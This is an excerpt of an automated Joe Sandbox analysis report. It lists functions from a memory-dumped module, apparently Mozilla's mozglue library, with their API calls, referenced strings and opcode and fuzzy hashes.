moz_xmalloc.MOZGLUE(-00000001,?,6C96152B,?,?,?,?,6C961248,?), ref: 6C9615E7
free.MOZGLUE(?,?,?,?,?,?,6C96152B,?,?,?,?,6C961248,?), ref: 6C961606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C96152B,?,?,?,?,6C961248,?), ref: 6C961637

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 31e365f89d59d7e06a2cb2fd489cb08d7e5c9c7207f9e57073af560ffe06ab28
Instruction ID: 4bae577ba2892f03bb6f1278af77a25595c102d96fd1185dc0671bae05ec1676
Opcode Fuzzy Hash: 31e365f89d59d7e06a2cb2fd489cb08d7e5c9c7207f9e57073af560ffe06ab28
Instruction Fuzzy Hash: 0231E872A001159BEB188E7DD85147EB7A9FB923647280B2DE423DBFD4EB30D9148792

Function 6C9BAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C9CE330,?,6C97C059), ref: 6C9BAD9D

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C9CE330,?,6C97C059), ref: 6C9BADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C9CE330,?,6C97C059), ref: 6C9BAE01
GetLastError.KERNEL32(?,00000000,?,?,6C9CE330,?,6C97C059), ref: 6C9BAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C9CE330,?,6C97C059), ref: 6C9BAE3D

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: c41c7545e6ad78a29c8c240b861578057259ab3b6d5a151d29e0d6efaccf09a8
Instruction ID: 5fe8a1f7c2f34ded7ed99f90654e1aab18f07058040ac8ae15c4fa3918aafc08
Opcode Fuzzy Hash: c41c7545e6ad78a29c8c240b861578057259ab3b6d5a151d29e0d6efaccf09a8
Instruction Fuzzy Hash: 5F3178B1A003159FDB10DF798C44AABBBF8EF54614F15442DE84AE7700EB34E804C7A1

Function 6C9B5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C9CDCA0,?,?,?,6C98E8B5,00000000), ref: 6C9B5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C98E8B5,00000000), ref: 6C9B5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C98E8B5,00000000), ref: 6C9B5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C98E8B5,00000000), ref: 6C9B5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C98E8B5,00000000), ref: 6C9B5FD6

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: fcbc820f70b3d1a8ecb501618f2d77282b7f1c3dec8537d95c2cebb0234e5409
Instruction ID: 36213f6c55c68a64e303c5cca6067d25d09c6f77d203819cb7b0d3ea1bc6053c
Opcode Fuzzy Hash: fcbc820f70b3d1a8ecb501618f2d77282b7f1c3dec8537d95c2cebb0234e5409
Instruction Fuzzy Hash: C6311834304A009FD711CF29C898F2AB7FAFF89319B648558E5569BB95CB31EC51CB80

Function 6C95B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C95B532
moz_xmalloc.MOZGLUE(?), ref: 6C95B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C95B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C95B57E
free.MOZGLUE(00000000), ref: 6C95B58F

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: ff028db9acb863e20a2d735a66a1351bfdc2a4d5dd39a3cbbe7ca98f870984e9
Instruction ID: c0755dc0d183aa198474801ff678510929a968518e5b9a5eb8147a49fd1ad7e1
Opcode Fuzzy Hash: ff028db9acb863e20a2d735a66a1351bfdc2a4d5dd39a3cbbe7ca98f870984e9
Instruction Fuzzy Hash: CD210771A042059BDB00CF68CC40BAEBBB9FF56304F684129E818DB345E735D962C7A1

Function 6C95B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C95B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C95B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C95B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C95B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C95B849

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: b29def7535a6821acf77f380aa1737859e9b3ee3411f9f72636b0ab7170f68c2
Instruction ID: de1d3826493bb016507ba8d912d73f47dc5a9a88fed1e611f49e3c45aea7d5b2
Opcode Fuzzy Hash: b29def7535a6821acf77f380aa1737859e9b3ee3411f9f72636b0ab7170f68c2
Instruction Fuzzy Hash: 2D215AB0E002099FDF04DFA9D8855BEBBB8EF59314F148169ED06B7740E731A994CBA1

Function 6C9B6E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C9B6E78

Part of subcall function 6C9B6A10: InitializeCriticalSection.KERNEL32(6C9DF618), ref: 6C9B6A68
Part of subcall function 6C9B6A10: GetCurrentProcess.KERNEL32 ref: 6C9B6A7D
Part of subcall function 6C9B6A10: GetCurrentProcess.KERNEL32 ref: 6C9B6AA1
Part of subcall function 6C9B6A10: EnterCriticalSection.KERNEL32(6C9DF618), ref: 6C9B6AAE
Part of subcall function 6C9B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C9B6AE1
Part of subcall function 6C9B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C9B6B15
Part of subcall function 6C9B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C9B6B65
Part of subcall function 6C9B6A10: LeaveCriticalSection.KERNEL32(6C9DF618,?,?), ref: 6C9B6B83

MozFormatCodeAddress.MOZGLUE ref: 6C9B6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C9B6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C9B6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C9B6EFF

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 99dc678e53562e8d79dc6ec59860ab1c62aebc59d92903a349eaaeecc0eefe5d
Instruction ID: 462b598efc7c78d826c711d62852a99d19e631cb13f0d92ce9c7d8a9f0b78ed3
Opcode Fuzzy Hash: 99dc678e53562e8d79dc6ec59860ab1c62aebc59d92903a349eaaeecc0eefe5d
Instruction Fuzzy Hash: CE21A471A042199FDF04DF69D88569F77F9EF88308F044439E909A7241DB70AA58CF92

Function 6C9B76C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C9B76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C9B7705

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C9B7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C9B778F,00000000,00000000,00000000,00000000), ref: 6C9B7731
free.MOZGLUE(00000000), ref: 6C9B7760

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: a010a5dff262a2ec6c4ba7e4218f7b97598254833af0beea5fbb7265af5c81c6
Instruction ID: 5c84674e65c9da30f06616976f04f23dacb155ec28ed4ae7cf1dd680d1664a06
Opcode Fuzzy Hash: a010a5dff262a2ec6c4ba7e4218f7b97598254833af0beea5fbb7265af5c81c6
Instruction Fuzzy Hash: E61190B19052156BE710AF6A8C44AABBEE8EF55754F144529F848A7200E770985087F2

Function 6C990D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C953DEF), ref: 6C990D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C953DEF), ref: 6C990D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C953DEF), ref: 6C990DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C990D97, 6C990DBE
<jemalloc>, xrefs: 6C990D92, 6C990DB9

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 5f53c06ca7513f696dc887395e69eb746b29cdef277021764393462c7597fde3
Instruction ID: 2b1f68d59da961b7faabf52478f1b7f1a97d975c75ec0d4da8d7c678271cad7b
Opcode Fuzzy Hash: 5f53c06ca7513f696dc887395e69eb746b29cdef277021764393462c7597fde3
Instruction Fuzzy Hash: F4F02E31384B9423E720226B0C0AF5A266EA7C7F25F399035F764FE9C0DA50F4404AA6

Function 6C9A7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C9A75C4,?), ref: 6C9A762B

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C9A74D7,6C9B15FC,?,?,?), ref: 6C9A7644
GetCurrentThreadId.KERNEL32 ref: 6C9A765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9A74D7,6C9B15FC,?,?,?), ref: 6C9A7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9A74D7,6C9B15FC,?,?,?), ref: 6C9A7677

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 76ab2ef8ce3988ff52b44eae467c489ed848e8d3c4475d0dd79d491e7a832516
Instruction ID: 9bcb35e8034d11b8f8f303c57543403b77d41cd5fe5212095cc725854529d9e4
Opcode Fuzzy Hash: 76ab2ef8ce3988ff52b44eae467c489ed848e8d3c4475d0dd79d491e7a832516
Instruction Fuzzy Hash: 14F0C871E14786ABD7008F21C848675B778FFEA259F21431AF90553601E7B0B5D087D0

Function 6C9B1700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C9B1800

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

Part of subcall function 6C954290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C993EBD,6C993EBD,00000000), ref: 6C9542A9

Strings

{marker.name} - {marker.data.name}, xrefs: 6C9B18C7
name, xrefs: 6C9B1939
Details, xrefs: 6C9B1925

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 4231e0a11399b0c4c4868549376d3a8248ead0c0779888b87e3bcf2687763d52
Instruction ID: 1de2c175628950b3e8329f3e1e164063d893c19d0b58e369796bb8960a16bb0a
Opcode Fuzzy Hash: 4231e0a11399b0c4c4868549376d3a8248ead0c0779888b87e3bcf2687763d52
Instruction Fuzzy Hash: E171F370A00746AFDB04CF28D4547AABBB1FF96304F144669D8156BB41D770F6A8CBE2

Function 6C9BB0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6C9BB0A6,6C9BB0A6,?,6C9BAF67,?,00000010,?,6C9BAF67,?,00000010,00000000,?,?,6C9BAB1F), ref: 6C9BB1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6C9BB0A6,6C9BB0A6,?,6C9BAF67,?,00000010,?,6C9BAF67,?,00000010,00000000,?), ref: 6C9BB1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6C9BB0A6,6C9BB0A6,?,6C9BAF67,?,00000010,?,6C9BAF67,?,00000010), ref: 6C9BB25F

Strings

map/set<T> too long, xrefs: 6C9BB1FA

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: 4e0aefa0776b7e292eb929419ec296662936d41e262a54c020957fd4fa223757
Instruction ID: 4a4603a7d1e5e7d7421034512c898cbe4ec187cd7a755dd276200a9e6f48cd4c
Opcode Fuzzy Hash: 4e0aefa0776b7e292eb929419ec296662936d41e262a54c020957fd4fa223757
Instruction Fuzzy Hash: 16619B34A04645AFD701CF19C8C0AAABBF5FF5A318F18C199D8596BB92C331ED45CBA1

Function 6C97D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

EnterCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D4F2
LeaveCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D50B

Part of subcall function 6C95CFE0: EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C95CFF6
Part of subcall function 6C95CFE0: LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C95D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D52E
EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C97D690
LeaveCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D751

Strings

MOZ_CRASH(), xrefs: 6C97D4BB

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 0b7aa2efba07af118b59c0234a96f7df558bdb328f82750e82ae65621693f3d9
Instruction ID: f9f543cec5f736f840e44c4afaa4b3c93be4990638b3fcf7df3b732be643161b
Opcode Fuzzy Hash: 0b7aa2efba07af118b59c0234a96f7df558bdb328f82750e82ae65621693f3d9
Instruction Fuzzy Hash: 3251E472A09B018FD364CF28C49461AB7F5EF89704F658A2ED59AD7F84D770E840CBA1

Function 6C9A4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9A4721

Strings

profiler-paused, xrefs: 6C9A46E4
-%llu, xrefs: 6C9A4733
., xrefs: 6C9A476A

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 7d1a4bc01b6cbc658f199ac67f253fe15ef784f79cf080546d57d987c6a64946
Instruction ID: 67011499d8f742636df381e94102677f708fd7904b0e273f046bf3f9743fba7a
Opcode Fuzzy Hash: 7d1a4bc01b6cbc658f199ac67f253fe15ef784f79cf080546d57d987c6a64946
Instruction Fuzzy Hash: E8415972E087089BCB08DFB8D85115EBBF5EF95748F20863EE85567B91EB30D8458B42

Function 6C9C9830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C9C985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C9C987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C9C98DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C9C98D9

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 40dd1b8b40d3e8ede8825237144d63a6a122664f827e3f8db5bd0293336436b1
Instruction ID: 2cf4ae1a34839c51d96f1ec3af381cdd371011078c8e76c7a7e0d3eb52ce9f3d
Opcode Fuzzy Hash: 40dd1b8b40d3e8ede8825237144d63a6a122664f827e3f8db5bd0293336436b1
Instruction Fuzzy Hash: 0B310A71B002089FDB14AF59DC455EE77A9DF54718F50846DEA06ABB80DB31E904CBD2

Function 6C9A46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9A4721

Part of subcall function 6C954410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C993EBD,00000017,?,00000000,?,6C993EBD,?,?,6C9542D2), ref: 6C954444

Strings

profiler-paused, xrefs: 6C9A46E4
-%llu, xrefs: 6C9A4733
., xrefs: 6C9A476A

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 8e513062b929a89b54a85ed2350b4cdaffecbb1bd69503736628948df1c82039
Instruction ID: 1bec9da7a1a0f8f8537b0094bf35a97c28dd057798e076457a247e29aed8c295
Opcode Fuzzy Hash: 8e513062b929a89b54a85ed2350b4cdaffecbb1bd69503736628948df1c82039
Instruction Fuzzy Hash: C2313971F043084BCB0CCFACD8812ADBBE6DB99714F55853EE8059BB41EB70D9458B51

Function 6C9AB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C954290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C993EBD,6C993EBD,00000000), ref: 6C9542A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C9AB127), ref: 6C9AB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C9AB4E4

Strings

pid:, xrefs: 6C9AB4DE

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
